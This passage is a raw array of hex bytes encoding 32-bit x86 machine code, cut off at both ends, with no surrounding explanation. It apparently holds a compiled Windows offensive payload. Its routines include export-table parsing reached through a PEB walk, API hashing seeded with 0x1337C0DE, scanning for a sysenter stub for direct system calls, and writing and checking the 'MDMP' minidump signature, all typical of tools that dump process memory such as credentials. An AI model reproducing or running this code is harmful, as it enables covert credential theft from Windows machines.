44,0x24,0x04,0x89,0x00,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x75,0x12,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x43,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x34,0x81,0x7D,0xF4,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x53,0x11,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x74,0x02,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8D,0x95,0xC0,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xB8,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x85,0xC0,0xFD,0xFF,0xFF,0x89,0x85,0xBC,0xFD,0xFF,0xFF,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xC9,0xF9,0xFF,0xFF,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x10,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x89,0x00,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x10,0x11,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x35,0x00,0x00,0xC0,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x34,0x81,0x7D,0xF4,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xEE,0x0F,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x0C,0x00,0x00,0x00,0x8D,0x45,0xE8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x9A,0x11,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x83,0x7D,0x08,0x00,0x0F,0x84,0xA5,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xF4,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x0C,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0xEE,0x8B,0x45,0xF0,0x83,0xE8,0x01,0x89,0x45,0xEC,0xEB,0x71,0x8B,0x45,0x08,0x89,0x45,0xF4,0x8B,0x45,0xEC,0x89,0x45,0xE8,0xEB,0x08,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xE8,0x8D,0x50,0xFF,0x89,0x55,0xE8,0x85,0xC0,0x75,0xEB,0x83,0x7D,0xF4,0x00,0x74,0x44,0x8B,0x45,0x0C,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0xFD,0x4C,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xF4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x6D,0xEC,0x01,0x83,0x7D,0xEC,0x00,0x79,0x89,0xEB,0x01,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x10,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x45,0xF0,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x21,0x0F,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF0,0xC9,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x85,0xC0,0x74,0x4F,0x8B,0x45,0x0C,0x85,0xC0,0x74,0x48,0x8B,0x55,0x0C,0x8B,0x45,0x08,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x3C,0x4C,0x00,0x00,0xC7,0x45,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x80,0x00,0x00,0x8D,0x45,0x0C,0x89,0x44,0x24,0x08,0x8D,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0xD0,0x0E,0x00,0x00,0x89,0x45,0xF4,0xEB,0x01,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8D,0x45,0xF4,0x89,0x04,0x24,0xE8,0xB2,0xF3,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x0A,0x4C,0x00,0x00,0x8B,0x45,0x08,0xC7,0x00,0x4D,0x44,0x4D,0x50,0x8B,0x45,0x0C,0x66,0xC7,0x00,0x93,0xA7,0x8B,0x45,0x10,0x66,0xC7,0x00,0x00,0x00,0xE9,0xDE,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0xCE,0x4B,0x00,0x00,0xC1,0xE0,0x11,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x00,0x09,0xC2,0x8B,0x45,0x08,0x89,0x10,0xE8,0xB8,0x4B,0x00,0x00,0xC1,0xE0,0x02,0x25,0xFC,0xFF,0x01,0x00,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x00,0x09,0xC2,0x8B,0x45,0x08,0x89,0x10,0xE8,0x9D,0x4B,0x00,0x00,0x83,0xE0,0x03,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x00,0x09,0xC2,0x8B,0x45,0x08,0x89,0x10,0x8B,0x45,0x0C,0x66,0xC7,0x00,0x00,0x00,0xE8,0x7F,0x4B,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x8B,0x45,0x0C,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x0C,0x66,0x89,0x10,0xE8,0x5C,0x4B,0x00,0x00,0x0F,0xB6,0xD0,0x8B,0x45,0x0C,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x0C,0x66,0x89,0x10,0x8B,0x45,0x10,0x66,0xC7,0x00,0x00,0x00,0xE8,0x38,0x4B,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x8B,0x45,0x10,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x10,0x66,0x89,0x10,0xE8,0x15,0x4B,0x00,0x00,0x0F,0xB6,0xD0,0x8B,0x45,0x10,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x10,0x66,0x89,0x10,0x8B,0x45,0x08,0x8B,0x00,0x3D,0x4D,0x44,0x4D,0x50,0x0F,0x84,0x12,0xFF,0xFF,0xFF,0x8B,0x45,0x0C,0x0F,0xB7,0x00,0x66,0x3D,0x93,0xA7,0x0F,0x84,0x02,0xFF,0xFF,0xFF,0x8B,0x45,0x10,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x0F,0x84,0xF3,0xFE,0xFF,0xFF,0x90,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x46,0x0E,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xE8,0x00,0x02,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF4,0x8B,0x45,0xE8,0x89,0x45,0xF4,0x8B,0x5D,0xE8,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA4,0x00,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x10,0x89,0x44,0x24,0x0C,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x1B,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x46,0x0C,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x17,0x8B,0x45,0x0C,0x8B,0x55,0xF0,0x89,0x10,0x8B,0x55,0xE8,0x8B,0x45,0x10,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x5C,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xF4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xCD,0x49,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x25,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x18,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x88,0x0B,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xE8,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x58,0xB9,0x00,0x00,0x00,0x00,0xB8,0x1C,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x1C,0x00,0x00,0x00,0x8D,0x45,0xD4,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xEB,0x10,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xE0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xFC,0x30,0x00,0x00,0x00,0x8B,0x45,0xFC,0x64,0x8B,0x00,0x89,0x45,0xF8,0x8B,0x45,0xF8,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xD4,0xFF,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAE,0x00,0x00,0x00,0x8B,0x45,0xF4,0x83,0xC0,0x0C,0x89,0x45,0xF0,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x08,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x2E,0x0A,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x0D,0x83,0x7D,0x0C,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5F,0x83,0x7D,0xEC,0x00,0x79,0x0D,0x83,0x7D,0x0C,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4C,0x8B,0x45,0xE4,0x83,0xC0,0x0C,0x89,0x45,0xE8,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xE0,0x89,0x44,0x24,0x08,0x8B,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xCC,0x09,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xE0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x20,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA3,0x00,0x00,0x00,0x8B,0x45,0xF4,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x8B,0x40,0x18,0xBA,0x00,0x00,0x00,0x00,0x8B,0x4D,0xF4,0x89,0x41,0x08,0x89,0x51,0x0C,0x8B,0x45,0x0C,0x8B,0x50,0x20,0x8B,0x45,0xF4,0x89,0x50,0x10,0x8B,0x45,0x0C,0x8B,0x50,0x44,0x8B,0x45,0xF4,0x89,0x90,0x18,0x02,0x00,0x00,0x8B,0x45,0x0C,0x8B,0x90,0xB0,0x00,0x00,0x00,0x8B,0x45,0xF4,0x89,0x90,0x1C,0x02,0x00,0x00,0x8B,0x45,0x0C,0x0F,0xB7,0x40,0x24,0xBA,0x00,0x02,0x00,0x00,0x66,0x39,0xD0,0x0F,0x47,0xC2,0x0F,0xB7,0xC0,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x8D,0x48,0x14,0x8B,0x45,0x0C,0x8B,0x40,0x28,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8B,0x55,0xF0,0x89,0x54,0x24,0x0C,0x89,0x4C,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xEA,0x08,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0xB8,0x00,0x00,0x00,0x8B,0x45,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA6,0x08,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x62,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x14,0x89,0x04,0x24,0xE8,0xA5,0x46,0x00,0x00,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x2C,0x0F,0xB7,0xD0,0x8B,0x45,0x10,0x8B,0x40,0x30,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x89,0x54,0x24,0x0C,0x8B,0x55,0x14,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x49,0x08,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x81,0xEC,0x08,0x03,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0x14,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x85,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x73,0x01,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xEA,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x34,0x01,0x00,0x00,0x8D,0x85,0x10,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x0C,0x8D,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE9,0xFE,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x21,0x01,0x00,0x00,0x83,0x7D,0xEC,0x00,0x75,0x09,0x8B,0x85,0x1C,0xFF,0xFF,0xFF,0x89,0x45,0xEC,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0xC3,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x00,0x8D,0x95,0x10,0xFD,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xA1,0x48,0xE1,0x88,0x6C,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0x92,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x50,0x80,0x88,0x6C,0x89,0x04,0x24,0xA1,0x48,0xE1,0x88,0x6C,0xFF,0xD0,0x85,0xC0,0x75,0x07,0xC7,0x45,0xE4,0x01,0x00,0x00,0x00,0x8D,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x69,0xFD,0xFF,0xFF,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x83,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x08,0x8B,0x45,0xD4,0x89,0x45,0xF4,0xEB,0x21,0x8B,0x45,0xF4,0x89,0x45,0xDC,0xEB,0x08,0x8B,0x45,0xDC,0x8B,0x00,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x8B,0x00,0x85,0xC0,0x75,0xEF,0x8B,0x45,0xDC,0x8B,0x55,0xD4,0x89,0x10,0x0F,0xB7,0x45,0xEA,0x83,0xC0,0x01,0x66,0x89,0x45,0xEA,0xEB,0x10,0x83,0x45,0xE0,0x01,0x8B,0x45,0xE0,0x3B,0x45,0x10,0x0F,0x8C,0x31,0xFF,0xFF,0xFF,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x3B,0x45,0xEC,0x74,0x0F,0x0F,0xBF,0x45,0xEA,0x39,0x45,0x10,0x0F,0x8F,0xBF,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0x14,0x00,0x74,0x0D,0x83,0x7D,0xE4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF4,0xC9,0xC3,0x90,0x90,0xB8,0xAD,0xDE,0xDE,0xC0,0xC3,0x90,0x0F,0x0B,0x55,0x89,0xE5,0x83,0xEC,0x18,0xC7,0x04,0x24,0x0F,0x2A,0x9B,0xCD,0xE8,0xA8,0x05,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xD5,0x0F,0x34,0xC6,0x45,0xD7,0xC3,0x8B,0x45,0x0C,0x83,0xE8,0x02,0x89,0x45,0xE0,0xE8,0xE2,0x05,0x00,0x00,0x85,0xC0,0x74,0x1E,0xC7,0x45,0xDC,0xC0,0x00,0x00,0x00,0x8B,0x45,0xDC,0x64,0x8B,0x00,0x89,0x45,0xD8,0x8B,0x45,0xD8,0x89,0x45,0xE4,0x8B,0x45,0xE4,0xE9,0x00,0x01,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x35,0x8B,0x55,0x08,0x8B,0x45,0xF4,0x01,0xD0,0x89,0x45,0xE4,0xC7,0x44,0x24,0x08,0x03,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x04,0x8D,0x45,0xD5,0x89,0x04,0x24,0xE8,0x0E,0x44,0x00,0x00,0x85,0xC0,0x75,0x08,0x8B,0x45,0xE4,0xE9,0xC6,0x00,0x00,0x00,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0xE0,0x72,0xC3,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0xE9,0x9C,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xEB,0x3B,0x8B,0x55,0x08,0x8B,0x45,0xEC,0x01,0xC2,0x8B,0x45,0xF0,0x0F,0xAF,0x45,0x0C,0x01,0xD0,0x89,0x45,0xE4,0xC7,0x44,0x24,0x08,0x03,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x04,0x8D,0x45,0xD5,0x89,0x04,0x24,0xE8,0xB3,0x43,0x00,0x00,0x85,0xC0,0x75,0x05,0x8B,0x45,0xE4,0xEB,0x6E,0x83,0x45,0xEC,0x01,0x8B,0x45,0xEC,0x3B,0x45,0xE0,0x72,0xBD,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xEB,0x3B,0x8B,0x55,0x08,0x8B,0x45,0xE8,0x01,0xC2,0x8B,0x45,0xF0,0x0F,0xAF,0x45,0x0C,0x29,0xC2,0x89,0x55,0xE4,0xC7,0x44,0x24,0x08,0x03,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x04,0x8D,0x45,0xD5,0x89,0x04,0x24,0xE8,0x67,0x43,0x00,0x00,0x85,0xC0,0x75,0x05,0x8B,0x45,0xE4,0xEB,0x22,0x83,0x45,0xE8,0x01,0x8B,0x45,0xE8,0x3B,0x45,0xE0,0x72,0xBD,0x83,0x45,0xF0,0x01,0x81,0x7D,0xF0,0x25,0x02,0x00,0x00,0x0F,0x86,0x57,0xFF,0xFF,0xFF,0xB8,0x68,0x28,0x88,0x6C,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0xDE,0xC0,0x37,0x13,0xEB,0x24,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x8B,0x55,0x08,0x01,0xD0,0x0F,0xB7,0x00,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x8B,0x55,0xF8,0xC1,0xCA,0x08,0x01,0xD0,0x31,0x45,0xF8,0x8B,0x55,0x08,0x8B,0x45,0xFC,0x01,0xD0,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xCD,0x8B,0x45,0xF8,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x81,0xEC,0x84,0x00,0x00,0x00,0xA1,0x40,0xB0,0x88,0x6C,0x85,0xC0,0x74,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x9C,0x03,0x00,0x00,0xC7,0x45,0xA4,0x30,0x00,0x00,0x00,0x8B,0x45,0xA4,0x64,0x8B,0x00,0x89,0x45,0xA0,0x8B,0x45,0xA0,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x8B,0x40,0x0C,0x89,0x45,0xD8,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xD8,0x8B,0x40,0x0C,0x89,0x45,0xEC,0xE9,0x82,0x00,0x00,0x00,0x8B,0x45,0xEC,0x8B,0x40,0x18,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xD0,0x8B,0x45,0xD0,0x83,0xC0,0x78,0x89,0x45,0xCC,0x8B,0x45,0xCC,0x8B,0x00,0x89,0x45,0xC8,0x83,0x7D,0xC8,0x00,0x74,0x40,0x8B,0x55,0xF0,0x8B,0x45,0xC8,0x01,0xD0,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x8B,0x50,0x0C,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xC4,0x8B,0x45,0xC4,0x8B,0x00,0x0D,0x20,0